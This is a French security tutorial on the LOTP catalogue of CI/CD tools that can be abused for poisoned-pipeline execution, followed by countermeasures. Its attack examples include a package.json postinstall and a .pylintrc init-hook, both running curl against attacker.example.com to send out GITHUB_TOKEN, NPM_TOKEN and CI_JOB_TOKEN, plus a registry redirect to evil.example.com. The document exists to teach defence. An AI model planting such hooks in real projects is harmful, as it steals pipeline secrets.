Un simple npm install dans votre pipeline CI peut exfiltrer tous vos secrets. Un .pylintrc modifié dans une pull request peut exécuter du code arbitraire sur votre runner. Ces outils ne sont pas des malwares — ce sont vos outils de développement quotidiens. Le projet LOTP (Living Off The Pipeline), créé par BoostSecurity, est un référentiel qui catalogue 59 outils détournables dans les pipelines CI/CD. Ce guide présente les vecteurs d’attaque répertoriés, deux scénarios concrets en contexte de pull request, et les contre-mesures à mettre en place.
L’analogie est directe avec GTFOBins (binaires Unix exploitables pour escalader des privilèges) : LOTP est le GTFOBins des pipelines CI/CD. Là où GTFOBins répertorie les binaires système exploitables, LOTP répertorie les outils de build, linters et gestionnaires de paquets dont les fonctionnalités légitimes permettent l’exécution de code.
Pourquoi ce référentiel change la donne
Section intitulée « Pourquoi ce référentiel change la donne »Le problème : des outils de confiance, jamais questionnés
Section intitulée « Le problème : des outils de confiance, jamais questionnés »Dans un pipeline CI/CD classique, on exécute une succession d’outils — linters, gestionnaires de paquets, builders — en leur faisant une confiance implicite. Personne ne relit le fichier eslint.config.js ou le Makefile d’une pull request avec la même attention qu’un changement de code applicatif.
Or ces outils ont une caractéristique commune : ils exécutent du code via leurs fichiers de configuration, leurs lifecycle scripts ou leurs variables d’environnement. Un attaquant qui modifie l’un de ces fichiers dans une pull request ou une merge request obtient une exécution de code sur le runner CI/CD — avec accès aux secrets, tokens et artefacts du pipeline.
C’est le principe du Poisoned Pipeline Execution (PPE) : l’attaquant ne compromet pas directement le CI, il empoisonne les fichiers que le CI exécute aveuglément.
Les 6 vecteurs répertoriés par LOTP
Section intitulée « Les 6 vecteurs répertoriés par LOTP »Comment un simple fichier de configuration peut-il devenir dangereux ? Le référentiel LOTP a identifié 6 mécanismes par lesquels les outils de développement exécutent du code. Comprendre ces mécanismes est essentiel pour savoir ce qui se joue réellement quand votre pipeline lance un npm install ou un pylint src/.
-
Direct Code Execution — Certains outils sont conçus pour exécuter du shell ou un langage de script. C’est leur rôle principal. Quand votre pipeline lance
make build, chaque cible duMakefileexécute directement les commandes shell qu’elle contient. Si un attaquant modifie leMakefiledans une PR, il exécute ce qu’il veut. Même principe pourrake(Ruby) oujust. -
Config File Eval — On pense souvent qu’un fichier de configuration est « juste de la donnée ». Or, pour beaucoup d’outils JavaScript, le fichier de config est du code exécutable. Quand ESLint charge
eslint.config.js, Node.js exécute ce fichier — ce n’est pas du JSON qu’on lit, c’est du JavaScript qui tourne. Même chose pour.prettierrc.js,build.gradle(Groovy) ouRakefile(Ruby). Un attaquant qui ajoute une ligne danseslint.config.jsobtient une exécution de code. -
Lifecycle Scripts — Les gestionnaires de paquets exécutent automatiquement des scripts à des moments clés : avant l’installation, après l’installation, avant les tests. C’est un mécanisme légitime — par exemple, compiler un module natif après
npm install. Le problème : ces scripts se déclenchent sans action explicite du développeur. npm documente à lui seul de nombreux lifecycle scripts (pre/post+ hooks sur chaque commande). L’attaquant ajoute unpostinstalldanspackage.jsonet le pipeline l’exécute aveuglément. -
Registry Redirect — Au lieu de modifier le code, l’attaquant redirige le gestionnaire de paquets vers un registre qu’il contrôle. Un fichier
.npmrcavecregistry=https://evil.example.com/suffit. Pour pip, c’est--index-urlou-idansrequirements.txt. Le pipeline télécharge alors des paquets malveillants au lieu des vrais — et les installe sans broncher. -
Environment Poisoning — De nombreux outils modifient leur comportement en fonction de variables d’environnement. La plus connue est
BASH_ENV: dans GitHub Actions, si un step écrit dans cette variable, le contenu sera exécuté avant chaque step bash suivant. Autre exemple :TAR_OPTIONSinjecte des options dans chaque appel àtar, y compris--checkpoint-action=exec=qui exécute du shell. -
Input File Abuse — Certains outils traitent des fichiers d’entrée de manière dangereuse quand ces fichiers sont contrôlés par l’attaquant. L’exemple classique est le zip-slip via
tar: une archive contenant des chemins absolus écrase des fichiers système pendant l’extraction. Avec BuildKit,docker buildpeut aussi exfiltrer des secrets montés viaRUN --mount=type=secret— mais uniquement si des secrets sont injectés au build.
Ces 6 vecteurs sont des mécanismes — ils décrivent comment un outil peut exécuter du code. Mais pour qu’ils deviennent dangereux, il faut un vecteur de livraison : le moyen par lequel l’attaquant fait parvenir son fichier modifié jusqu’au pipeline. Dans la grande majorité des cas, ce vecteur est la pull request (ou merge request).
Le scénario d’attaque : la pull request empoisonnée
Section intitulée « Le scénario d’attaque : la pull request empoisonnée »Tous les vecteurs ci-dessus convergent vers un même scénario d’exploitation : le Poisoned Pipeline Execution (PPE). L’attaquant ne s’introduit pas dans votre CI — il soumet une contribution qui sera exécutée par votre CI.
- L’attaquant soumet une PR/MR — depuis un fork (open-source) ou un compte compromis (insider). La PR modifie un fichier de configuration :
package.json,.pylintrc,Makefile,eslint.config.js… - Le pipeline CI se déclenche — automatiquement sur l’événement
pull_requestoumerge_request. Le runner clone le code de la PR, y compris les fichiers modifiés. - L’outil exécute le code de l’attaquant —
npm cilance lepostinstall,pylintévalue leinit-hook, ESLint charge le config JS. Le code malveillant s’exécute avec les mêmes droits que le job CI. - Les secrets sont exfiltrés —
GITHUB_TOKEN,NPM_TOKEN,CI_JOB_TOKENet toutes les variables d’environnement du runner sont envoyés vers un serveur contrôlé par l’attaquant. Le job se termine normalement — rien dans les logs ne signale l’attaque.
L’impact dépend de qui soumet la PR
Section intitulée « L’impact dépend de qui soumet la PR »Avant de plonger dans les exemples, posons la question que votre équipe sécurité posera : « qui ferait ça, et dans quel contexte ? ». L’impact d’une PR empoisonnée dépend fortement de deux facteurs : la provenance de la contribution et la configuration du pipeline. Voici les quatre scénarios à connaître, du plus courant au plus vicieux.
PR depuis un fork (projets open-source)
Section intitulée « PR depuis un fork (projets open-source) »Risque : modéré. C’est le scénario le plus fréquent. Un contributeur externe — que personne ne connaît — forke votre dépôt et soumet une PR. Sur GitHub, les protections par défaut limitent l’impact : le GITHUB_TOKEN de la PR est en lecture seule, et les secrets du dépôt ne sont pas transmis au workflow déclenché par un fork.
Mais l’attaquant obtient quand même une exécution de code sur votre runner. Dans le cas d’un runner self-hosted, il peut explorer le réseau interne, accéder aux caches partagés, et pivoter vers d’autres ressources. Même sur un runner hébergé par GitHub, il peut modifier les artefacts du job ou exploiter les variables d’environnement non protégées.
PR same-repo (insider ou compte compromis)
Section intitulée « PR same-repo (insider ou compte compromis) »Risque : critique. Ici, l’attaquant a un accès en écriture au dépôt — soit parce que c’est un développeur dont le compte a été compromis (credentials volés, session hijackée), soit un insider malveillant. La PR vient du même dépôt, pas d’un fork.
La différence est majeure : tous les secrets configurés dans le workflow sont accessibles au job. Le GITHUB_TOKEN a les permissions complètes. L’attaquant peut exfiltrer les tokens de publication (npm, Docker Hub), les clés de déploiement (AWS, GCP), et potentiellement publier des artefacts malveillants sous l’identité du projet.
pull_request_target mal configuré
Section intitulée « pull_request_target mal configuré »Risque : critique — c’est le piège le plus dangereux et la cause de nombreux incidents réels. Sur GitHub, l’événement pull_request_target exécute le workflow dans le contexte de la branche cible (main), pas de la branche source. Résultat : même une PR venant d’un fork a accès à tous les secrets du dépôt.
Le problème survient quand le workflow fait un actions/checkout sur le code de la PR :
# ⚠️ DANGEREUX — checkout le code non vérifié de la PR# mais avec les secrets de main- uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }}L’attaquant obtient alors une exécution de code avec les secrets de main — le pire des deux mondes. C’est exactement ce vecteur qui a été exploité dans l’incident Ultralytics (décembre 2024).
Mono-repo entreprise
Section intitulée « Mono-repo entreprise »Risque : élevé. Dans une organisation avec un mono-repo, il y a moins de forks mais beaucoup de branches internes. Chaque développeur peut créer une branche et ouvrir une PR. Les permissions sont souvent larges — parfois tout le monde a accès à tous les secrets du workflow.
Le risque est subtil : un développeur junior ou un stagiaire peut, sans intention malveillante, ajouter un postinstall ou modifier un Makefile sans réaliser les conséquences. Et si un compte est compromis dans un mono-repo où 50 développeurs ont accès en écriture, l’attaquant a un accès direct aux secrets sans passer par un fork.
Les deux exemples qui suivent illustrent concrètement le scénario PPE avec deux vecteurs différents : les lifecycle scripts npm et les fichiers de configuration pylint.
Prérequis
Section intitulée « Prérequis »Pour reproduire les exemples dans votre lab :
- Node.js 22+ et npm
- Python 3.12+ et pip
- Un terminal Linux ou macOS
Exemple 1 : npm lifecycle scripts dans une pull request
Section intitulée « Exemple 1 : npm lifecycle scripts dans une pull request »npm est l’un des vecteurs les plus dangereux répertoriés par LOTP car chaque npm install exécute automatiquement les scripts définis dans package.json. npm définit de nombreux lifecycle scripts (pre/post hooks sur chaque commande) — dont preinstall, install et postinstall qui se déclenchent sans action explicite.
Le pipeline légitime
Section intitulée « Le pipeline légitime »Voici un workflow GitHub Actions classique pour un projet Node.js. Il se déclenche sur chaque pull request et exécute les tests :
name: CIon: pull_request: branches: [main]
jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/setup-node@v4 with: node-version: 22 - run: npm ci # Installe les dépendances - run: npm test # Lance les testsCe workflow semble inoffensif. Pourtant, l’étape npm ci exécute automatiquement les lifecycle scripts définis dans package.json — y compris ceux ajoutés par la pull request.
La pull request empoisonnée
Section intitulée « La pull request empoisonnée »Un contributeur externe soumet une PR qui modifie package.json pour ajouter un script postinstall. En apparence, la PR ajoute une dépendance légitime :
{ "name": "mon-projet", "version": "2.1.0", "scripts": { "test": "jest", "build": "tsc", "postinstall": "curl -s https://attacker.example.com/collect?token=$NPM_TOKEN&gh=$GITHUB_TOKEN" }, "dependencies": { "express": "^4.18.0" }}Ce qui se passe dans le pipeline
Section intitulée « Ce qui se passe dans le pipeline »-
La PR est ouverte — le workflow
ci.ymlse déclenche automatiquement sur l’événementpull_request. -
actions/checkout@v4récupère le code de la PR — y compris lepackage.jsonmodifié contenant lepostinstallmalveillant. -
npm cis’exécute sur le runner — npm détecte le scriptpostinstallet l’exécute automatiquement après l’installation des dépendances. Lecurlenvoie les tokensNPM_TOKENetGITHUB_TOKENvers le serveur de l’attaquant. -
L’attaquant récupère les secrets — avec le
GITHUB_TOKEN, il peut accéder aux autres dépôts de l’organisation. Avec leNPM_TOKEN, il peut publier des paquets malveillants sur le registre npm.
Reproduire dans votre lab
Section intitulée « Reproduire dans votre lab »-
Créer un
package.jsonsimulant l’attaquepackage.json {"name": "lotp-npm-demo","version": "1.0.0","scripts": {"postinstall": "echo \"[EXFIL] GITHUB_TOKEN=${GITHUB_TOKEN:-non-defini} | user=$(whoami) | host=$(hostname)\""}} -
Simuler l’exécution du pipeline
Fenêtre de terminal # Simuler les variables d'environnement du runner CIexport GITHUB_TOKEN="ghp_simulation1234567890"# Lancer npm ci comme le ferait le pipelinenpm install --ignore-scripts=falseRésultat observé sur le runner :
> lotp-npm-demo@1.0.0 postinstall> echo "[EXFIL] GITHUB_TOKEN=ghp_simulation1234567890 | user=runner | host=fv-az1234"[EXFIL] GITHUB_TOKEN=ghp_simulation1234567890 | user=runner | host=fv-az1234 -
Constater l’impact
Le script
postinstalla eu accès à toutes les variables d’environnement du runner, y comprisGITHUB_TOKEN. Dans un vrai pipeline, l’attaquant remplace leechopar uncurlvers son serveur — l’exfiltration est silencieuse et ne fait pas échouer le job.
Exemple 2 : pylint init-hook dans une merge request
Section intitulée « Exemple 2 : pylint init-hook dans une merge request »pylint est un linter Python très répandu dans les pipelines CI/CD. Le référentiel LOTP documente deux options de configuration qui exécutent du Python arbitraire : init-hook (au démarrage) et evaluation (à la fin de l’analyse). La configuration peut être placée dans un fichier .pylintrc à la racine du projet — fichier que personne ne surveille en revue de code.
Le pipeline légitime
Section intitulée « Le pipeline légitime »lint: stage: test image: python:3.12-slim script: - pip install pylint - pylint src/ rules: - if: $CI_MERGE_REQUEST_IIDCe job GitLab CI exécute pylint sur chaque merge request. pylint charge automatiquement le fichier .pylintrc s’il existe à la racine du projet.
La merge request empoisonnée
Section intitulée « La merge request empoisonnée »Un contributeur soumet une MR qui ajoute un fichier .pylintrc « pour standardiser le style de code ». Le message de commit est anodin : “chore: add pylint configuration”.
[MASTER]init-hook=__import__("os").system("curl -s https://attacker.example.com/collect?token=" + __import__("os").getenv("CI_JOB_TOKEN","") + "&project=" + __import__("os").getenv("CI_PROJECT_PATH",""))
[FORMAT]max-line-length=120indent-string=' 'Le champ init-hook est noyé parmi des options de formatting légitimes. En revue de code, l’attention se porte sur max-line-length et indent-string — pas sur la ligne init-hook qui contient du Python obfusqué.
Ce qui se passe dans le pipeline
Section intitulée « Ce qui se passe dans le pipeline »-
La MR est ouverte — le job
lintse déclenche sur l’événementCI_MERGE_REQUEST_IID. -
Le runner clone le code de la MR — y compris le
.pylintrcajouté. -
pylint src/s’exécute — au démarrage, pylint lit.pylintrcet exécute le code Python deinit-hook. Lecurlenvoie leCI_JOB_TOKENet leCI_PROJECT_PATHvers le serveur de l’attaquant. -
Le job se termine normalement — pylint continue son analyse et affiche un score. Rien dans les logs ne signale l’exfiltration. Le
CI_JOB_TOKENGitLab permet d’accéder aux registres de conteneurs, aux autres projets du groupe, et aux artefacts.
Reproduire dans votre lab
Section intitulée « Reproduire dans votre lab »-
Créer un
.pylintrcsimulant l’attaque.pylintrc [MASTER]init-hook=import os; print(f"[EXFIL] CI_JOB_TOKEN={os.getenv('CI_JOB_TOKEN', 'non-defini')} | user={os.getenv('USER', 'unknown')}")[FORMAT]max-line-length=120 -
Créer un fichier Python minimal à analyser
app.py """Application de démonstration."""def hello():"""Affiche un message."""print("Hello, World!") -
Simuler l’exécution du pipeline
Fenêtre de terminal # Simuler les variables d'environnement du runner GitLabexport CI_JOB_TOKEN="glcbt-simulation-1234567890"# Lancer pylint comme le ferait le pipelinepylint app.pyRésultat observé :
[EXFIL] CI_JOB_TOKEN=glcbt-simulation-1234567890 | user=runner-------------------------------------------------------------------Your code has been rated at 10.00/10 -
Constater l’impact
Le code Python de
init-hooks’est exécuté avant l’analyse pylint. Le job se termine avec un score de 10/10 — rien n’indique qu’une exfiltration a eu lieu. Le champevaluationest également vulnérable : il accepte une expression Python évaluée à la fin de l’analyse.
Incidents réels (2024-2025)
Section intitulée « Incidents réels (2024-2025) »Tout ce qui précède peut sembler théorique. Après tout, qui irait vraiment empoisonner un package.json dans une pull request ? La réponse : beaucoup de monde. Les techniques répertoriées par LOTP sont exploitées régulièrement, y compris contre des projets open-source majeurs. Voici quatre incidents récents qui illustrent la réalité de ces attaques.
| Date | Incident | Vecteur exploité |
|---|---|---|
| Déc. 2024 | Ultralytics — injection d’un cryptominer via des workflows GitHub Actions vulnérables, détectés avec poutine | PPE via GitHub Actions |
| Mars 2025 | tj-actions/changed-files — compromission d’une GitHub Action utilisée par 23 000+ repos pour exfiltrer les secrets CI dans les logs | Action modifiée (supply chain) |
| 2025 | Shai-Hulud — ver NPM démontré par BoostSecurity qui s’auto-réplique entre dépôts via self-hosted runners | npm lifecycle scripts |
| 2025 | GlassWorm — extensions VS Code malveillantes détectées sur le marketplace | Config file eval + npm postinstall |
Ces incidents montrent que les attaquants exploitent exactement les mécanismes décrits plus haut : lifecycle scripts npm, fichiers de configuration évalués comme du code, et modification de GitHub Actions. Le point commun ? Dans chaque cas, les fichiers modifiés semblaient légitimes et n’ont pas déclenché d’alerte en revue de code.
Les 59 outils répertoriés, catégorie par catégorie
Section intitulée « Les 59 outils répertoriés, catégorie par catégorie »Maintenant que vous comprenez les 6 vecteurs d’exploitation, voyons quels outils concrets sont concernés. Le référentiel LOTP en catalogue 59 au total. Les tableaux ci-dessous présentent les plus courants dans les pipelines DevOps — ceux que vous utilisez probablement au quotidien.
Pour chaque outil, on indique le vecteur exploité, les fichiers à surveiller dans une PR/MR, et le risque principal. L’objectif est de vous donner une checklist de lecture : quand vous revoyez une pull request, savoir quels fichiers méritent une attention particulière.
Gestionnaires de paquets
Section intitulée « Gestionnaires de paquets »Les gestionnaires de paquets sont les outils les plus à risque car ils s’exécutent systématiquement dans un pipeline CI/CD. Chaque projet passe par un npm install, un pip install ou un bundle install. Comme ces commandes sont considérées comme inoffensives — « on installe juste les dépendances » — personne ne questionne ce qui se passe réellement pendant l’installation.
Or, la plupart de ces outils permettent d’exécuter du code à l’installation (lifecycle scripts) ou de rediriger les téléchargements vers un registre contrôlé par un attaquant (registry redirect).
| Outil | Vecteur | Fichiers concernés | Risque principal |
|---|---|---|---|
| npm | Lifecycle scripts, env-var | package.json, .npmrc | postinstall exécute du shell + .npmrc redirige le registre |
| pip | Input-file, eval-py | requirements.txt, setup.py, pyproject.toml | La chaîne de build Python (sdist/wheel) peut exécuter du code à l’installation. -i redirige l’index PyPI |
| yarn | Config-file, eval-js | .yarnrc.yml | yarnPath exécute un fichier JS local arbitraire |
| poetry | Input-file, eval-py | pyproject.toml, setup.py | Sources malveillantes, chaîne de build peut exécuter du code |
| cargo | Config-file, eval-sh | Cargo.toml, build.rs | build.rs exécuté automatiquement à la compilation |
| bundler | Config-file, eval-sh | Gemfile, .bundle/config | Gemfile = Ruby exécutable, .bundle/config redirige le registre |
| uv | Input-file, eval-py | requirements.txt, setup.py, pyproject.toml | Mêmes vecteurs que pip (chaîne de build Python) |
| composer | Config-file, eval-sh | composer.json | Scripts PHP exécutés à l’install |
Outils de build
Section intitulée « Outils de build »Les outils de build sont dangereux par nature : leur rôle est d’exécuter des commandes pour compiler, packager ou publier votre code. Un Makefile est littéralement une liste de commandes shell. Un build.gradle est un programme Groovy complet. Ce qui rend ces outils particulièrement risqués dans un contexte de PR/MR, c’est que le fichier de build fait partie du dépôt — et qu’un contributeur peut le modifier aussi facilement qu’un fichier source.
| Outil | Vecteur | Fichiers concernés | Risque principal |
|---|---|---|---|
| make | Direct code execution | Makefile | Chaque cible exécute du shell directement |
| gradle | Config-file, eval-groovy/kotlin | build.gradle(.kts), settings.gradle(.kts) | Code Groovy/Kotlin exécuté au chargement du projet |
| maven | Config-file, env-var | pom.xml | exec-maven-plugin + MAVEN_ARGS |
| docker | Config-file, eval-sh | Dockerfile | Avec BuildKit, exfiltration de secrets montés via RUN --mount=type=secret |
| goreleaser | Config-file, eval-sh | .goreleaser.yaml | Hooks before/after exécutent du shell |
| just | Direct code execution | justfile | Exécution directe de commandes shell |
| rake | Direct code execution | Rakefile | Ruby exécutable, tâches auto-chargées |
| msbuild | Config-file, input-file | *.csproj, Directory.Build.props | <Exec> + auto-import de Directory.Build.props |
Linters et formatteurs
Section intitulée « Linters et formatteurs »C’est sans doute la catégorie la plus surprenante. On imagine mal qu’un linter — un outil qui vérifie la qualité du code — puisse être un vecteur d’attaque. Pourtant, la majorité des linters JavaScript et Python exécutent leur fichier de configuration au lieu de simplement le lire.
Prenez ESLint : le fichier eslint.config.js n’est pas un fichier de configuration au sens classique (comme du JSON ou du YAML). C’est un module JavaScript que Node.js exécute. Un attaquant qui ajoute process.env ou require('child_process') dans ce fichier obtient une exécution de code sur votre runner. Le scénario est d’autant plus vicieux que ces fichiers de config sont rarement inspectés en revue de code.
| Outil | Vecteur | Fichiers concernés | Risque principal |
|---|---|---|---|
| eslint | Config-file, eval-js | eslint.config.{js,mjs,cjs} | Config JS exécutée par Node.js au chargement |
| prettier | Config-file, eval-js | .prettierrc.js, prettier.config.js | Config JS exécutée par Node.js |
| pylint | Config-file, eval-py | .pylintrc, pylintrc | init-hook et evaluation exécutent du Python |
| flake8 | Config-file, eval-py | .flake8, tox.ini | local-plugins charge un module Python |
| mypy | Config-file, eval-sh | mypy.ini, .mypy.ini | plugins charge un module Python local |
| rubocop | Config-file, eval-sh | .rubocop.yml | ERB + require chargent du Ruby |
| stylelint | Config-file, eval-js | .stylelintrc.{js,cjs,mjs} | Custom rules/plugins chargent du JS |
| checkov | Config-file, eval-py | .checkov.yml | external-checks-dir exécute du Python |
| trivy | Config-file | trivy.yaml | Templates Go (sprig) exfiltrent des données |
Shells et utilitaires
Section intitulée « Shells et utilitaires »Ces outils ne sont pas spécifiques au développement — on les retrouve sur n’importe quel système Linux. Ce qui les rend exploitables, ce sont des fonctionnalités méconnues : des variables d’environnement qui modifient silencieusement leur comportement, ou des options obscures qui permettent d’exécuter du code.
L’exemple le plus courant est BASH_ENV : cette variable, si elle pointe vers un script, sera exécutée avant chaque commande bash. Dans GitHub Actions, chaque step run: lance un shell bash — ce qui signifie qu’empoisonner BASH_ENV revient à injecter du code dans tous les steps suivants.
| Outil | Vecteur | Fichiers concernés | Risque principal |
|---|---|---|---|
| bash | Env-var, config-file | .bashrc, .bash_profile | BASH_ENV exécuté avant chaque commande bash |
| tar | Input-file, env-var | *.tar.gz | TAR_OPTIONS --checkpoint-action=exec= + zip-slip |
| python | Env-var | — | PYTHONWARNINGS + BROWSER = exécution arbitraire |
| java | Env-var | — | _JAVA_OPTIONS + -XX:OnOutOfMemoryError = RCE |
| sed | Config-file, eval-sh | *.sed | Commande e de GNU sed exécute du shell |
| wget | Env-var, config-file | .wgetrc | use_askpass exécute un script arbitraire |
Hooks et CI spécifiques
Section intitulée « Hooks et CI spécifiques »La dernière catégorie concerne les outils qui interagissent directement avec la plateforme CI/CD elle-même. Ce sont souvent des mécanismes d’automatisation — hooks pre-commit, actions GitHub composites, ou mega-linters — qui ont, par conception, un accès étendu au runner et aux secrets. Un fichier .pre-commit-config.yaml ajouté dans une PR peut exécuter n’importe quelle commande shell si un hook utilise language: system.
| Outil | Vecteur | Fichiers concernés | Risque principal |
|---|---|---|---|
| pre-commit | Config-file, eval-sh | .pre-commit-config.yaml | Hooks language: system = shell arbitraire |
| actions/github-script | Injection, eval-js | — | ${{ }} injectable dans les inputs |
| Local GHA | Config-file, eval-sh | action.yml | PR fournit un action.yml composite local |
| MegaLinter | Config-file, eval-sh | .mega-linter.yml | PRE_COMMANDS/POST_COMMANDS + Docker socket root |
| terraform | Input-file, eval-sh | fichiers HCL, state | external data source, local-exec, state poisoning |
Se prémunir contre les techniques répertoriées
Section intitulée « Se prémunir contre les techniques répertoriées »Les contre-mesures ci-dessous sont classées de la plus structurante (à mettre en place en premier) à la plus granulaire. La meilleure défense n’est pas une option en ligne de commande — c’est une architecture de pipeline qui sépare le code de confiance du code non vérifié.
Architecture recommandée : pipelines untrusted vs trusted
Section intitulée « Architecture recommandée : pipelines untrusted vs trusted »La contre-mesure la plus robuste face au PPE est de séparer vos pipelines en deux niveaux de confiance. L’idée est simple : le code d’une pull request n’est pas encore validé, il ne devrait donc jamais avoir accès aux secrets de production.
Ce pipeline se déclenche sur chaque pull request ou merge request. Il exécute les tests et linters sur le code non vérifié :
- Aucun secret injecté dans le job (pas de
NPM_TOKEN, pas deCI_JOB_TOKENavec des droits étendus) - Aucune permission en écriture (
permissions: read-alldans GitHub Actions) - Aucune publication d’artefacts ou d’images vers des registres
- Caches isolés par PR (clé incluant
github.event.pull_request.number) --ignore-scriptsactivé par défaut
name: CI (untrusted)on: pull_request: branches: [main]
permissions: read-all
jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/setup-node@v4 with: node-version: 22 - run: npm ci --ignore-scripts - run: npm testCe pipeline se déclenche uniquement sur du code déjà mergé (push sur main) ou sur des tags. Le code a été revu et approuvé :
- Secrets autorisés (tokens de publication, clés de déploiement)
- Permissions en écriture si nécessaire (publication npm, push d’images)
- Environnements GitHub avec approbation manuelle pour les déploiements critiques
- Préférer des tokens éphémères (OIDC) plutôt que des PAT (Personal Access Tokens) à longue durée de vie
name: Release (trusted)on: push: tags: ['v*']
permissions: contents: read id-token: write # OIDC pour tokens éphémères
jobs: publish: runs-on: ubuntu-latest environment: production # Approbation requise steps: - uses: actions/checkout@v4 - uses: actions/setup-node@v4 with: node-version: 22 - run: npm ci - run: npm publishProtéger les fichiers critiques avec CODEOWNERS
Section intitulée « Protéger les fichiers critiques avec CODEOWNERS »L’attaque PPE repose sur la modification de fichiers de configuration dans une PR. La parade : exiger une approbation spécifique quand ces fichiers changent. Sur GitHub, le fichier CODEOWNERS définit qui doit approuver les modifications par chemin :
# Sécurité : approbation DevSecOps requise pour les fichiers de pipeline et de config.github/workflows/ @org/devsecops-team.gitlab-ci.yml @org/devsecops-teampackage.json @org/devsecops-team.npmrc @org/devsecops-team.pylintrc @org/devsecops-teampylintrc @org/devsecops-teamMakefile @org/devsecops-teameslint.config.* @org/devsecops-team.prettierrc.* @org/devsecops-team.pre-commit-config.yaml @org/devsecops-teamsetup.py @org/devsecops-teampyproject.toml @org/devsecops-teamrequirements*.txt @org/devsecops-teamSur GitLab, le mécanisme équivalent est les règles d’approbation par chemin (Approval Rules avec file_path).
Désactiver les lifecycle scripts (avec stratégie d’allowlist)
Section intitulée « Désactiver les lifecycle scripts (avec stratégie d’allowlist) »-
Désactiver tous les scripts par défaut
Fenêtre de terminal npm ci --ignore-scriptsyarn install --ignore-scripts -
Reconstruire uniquement les modules natifs autorisés
Certains projets nécessitent des scripts de compilation légitimes (modules natifs comme
node-gyp,sharp, etc.). Plutôt que de réactiver tous les scripts, autorisez uniquement ceux qui sont nécessaires :Fenêtre de terminal # Reconstruire un module natif spécifique après revuenpm rebuild sharpnpm rebuild bcryptCertains gestionnaires de paquets supportent déjà une allowlist native. Par exemple, Bun propose
trustedDependenciesdanspackage.jsonpour n’autoriser les scripts que sur des paquets spécifiquement listés.
Verrouiller les index de paquets
Section intitulée « Verrouiller les index de paquets »Ne jamais faire confiance aux fichiers .npmrc ou requirements.txt du dépôt pour définir le registre. Forcez l’index en ligne de commande dans le workflow, pas dans un fichier que la PR peut modifier :
# pip : forcer l'index officiel en ligne de commandepip install -r requirements.txt -i https://pypi.org/simple/ --no-deps
# npm : définir le registre dans le workflow, pas dans .npmrcnpm config set registry https://registry.npmjs.org/Forcer et isoler la configuration des linters
Section intitulée « Forcer et isoler la configuration des linters »Pointer les linters vers une configuration vérifiée ne suffit pas toujours — il faut aussi s’assurer que le linter lui-même n’a pas été modifié par la PR. Voici la posture complète :
# ESLint : pointer vers un config vérifié et versionné séparémenteslint --config ./ci-config/eslint.config.js src/
# pylint : ignorer les configs locales du dépôtpylint --rcfile=/dev/null src/Pour aller plus loin :
-
Installer les linters depuis main, pas depuis la PR. Idéalement, exécutez les linters dans un conteneur ou un venv construit à partir du code de la branche cible — pas du code de la PR. Cela empêche l’attaquant d’injecter aussi le linter ou un plugin modifié.
-
Bloquer le chargement de plugins locaux quand l’outil le permet (ex :
eslint --no-eslintrcpour les anciennes versions d’ESLint). -
Verrouiller les variables d’environnement dangereuses en début de job :
- name: Hardening envrun: |unset BASH_ENV TAR_OPTIONS PYTHONWARNINGSexport PYLINTRC=/dev/null
Scanner les pipelines avec des outils dédiés
Section intitulée « Scanner les pipelines avec des outils dédiés »Les scanners spécialisés détectent automatiquement les vecteurs PPE dans vos workflows — y compris ceux que vous n’auriez pas identifiés manuellement :
- poutine — analyse statique des workflows GitHub Actions, détecte les vecteurs PPE incluant les outils répertoriés par LOTP
- zizmor — détection de vulnérabilités dans les workflows (injections
${{ }}, checkout non sécurisés) - OpenSSF Scorecard — évaluation de la maturité sécurité d’un projet open-source
Isoler les runners CI/CD
Section intitulée « Isoler les runners CI/CD »L’isolation du runner est votre dernière ligne de défense. Si malgré tout un code malveillant s’exécute, il faut limiter ce qu’il peut faire et empêcher toute persistance :
- Runners éphémères (détruits après chaque job). Sur GitHub Actions, les runners hébergés par GitHub le sont déjà. Pour les self-hosted, configurez le mode
--ephemeral. - Clean checkout systématique — pas de workspace réutilisé entre les jobs. Ajoutez
clean: truedansactions/checkout. - Caches scopés — la clé de cache doit inclure
repo + workflow + branche. Ne jamais partager de cache entre un fork et le dépôt principal. - Principe du moindre privilège sur les tokens — déclarez
permissions:explicitement dans chaque workflow GitHub Actions (pas depermissions: write-allimplicite). Dans GitLab CI, utilisez les variables protégées et les environnements.
À retenir
Section intitulée « À retenir »- LOTP est un référentiel, pas une attaque. Il catalogue 59 outils de développement standards dont les fonctionnalités légitimes permettent l’exécution de code dans les pipelines CI/CD — l’équivalent de GTFOBins pour le CI/CD.
- Le vecteur principal est la pull request / merge request : l’attaquant modifie un fichier de configuration (
package.json,.pylintrc,Makefile…) et le pipeline exécute le code sans vérification. - La revue de code doit inclure les fichiers de configuration — pas seulement le code applicatif. Un
.pylintrcmodifié est aussi dangereux qu’unrm -rf /. --ignore-scriptset--rcfile=/dev/nullsont vos premières lignes de défense dans les pipelines npm et pylint.- Scanner vos pipelines avec poutine, zizmor et Scorecard pour détecter automatiquement les vecteurs exploitables.